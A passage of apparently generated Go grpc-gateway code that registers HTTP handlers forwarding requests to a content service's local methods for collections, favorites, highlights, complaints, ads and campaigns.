pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Content_RemoveCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/RemoveCollection\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_RemoveCollection_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_RemoveCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetUserFavorites_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetUserFavorites\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetUserFavorites_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetUserFavorites_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetUserFavoritesOptimized_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetUserFavoritesOptimized\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetUserFavoritesOptimized_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetUserFavoritesOptimized_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateFavorite_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateFavorite\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateFavorite_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateFavorite_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_RemoveFavorite_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/RemoveFavorite\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_RemoveFavorite_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_RemoveFavorite_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateHashtag_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateHashtag\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateHashtag_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateHashtag_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetAllHighlights_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetAllHighlights\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetAllHighlights_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetAllHighlights_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetHighlight_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetHighlight\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetHighlight_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetHighlight_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateHighlight_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateHighlight\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateHighlight_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateHighlight_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Content_RemoveHighlight_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/RemoveHighlight\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_RemoveHighlight_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_RemoveHighlight_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateHighlightStory_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateHighlightStory\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateHighlightStory_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateHighlightStory_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_RemoveHighlightStory_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/RemoveHighlightStory\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_RemoveHighlightStory_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_RemoveHighlightStory_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateContentComplaint_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateContentComplaint\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateContentComplaint_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateContentComplaint_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Content_DeleteComplaintByUserId_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/DeleteComplaintByUserId\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_DeleteComplaintByUserId_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_DeleteComplaintByUserId_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetAllContentComplaints_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetAllContentComplaints\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetAllContentComplaints_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetAllContentComplaints_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_RejectById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/RejectById\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_RejectById_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_RejectById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetAds_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetAds\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetAds_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetAds_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetAdsFromInfluencer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetAdsFromInfluencer\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetAdsFromInfluencer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetAdsFromInfluencer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateAd_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateAd\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateAd_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateAd_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Content_IncrementLinkClicks_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/IncrementLinkClicks\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_IncrementLinkClicks_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_IncrementLinkClicks_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetCampaigns_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetCampaigns\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetCampaigns_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetCampaigns_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetCampaign_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetCampaign\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetCampaign_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetCampaign_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetCampaignStats_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetCampaignStats\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetCampaignStats_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetCampaignStats_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateCampaign_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateCampaign\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateCampaign_0(rctx, 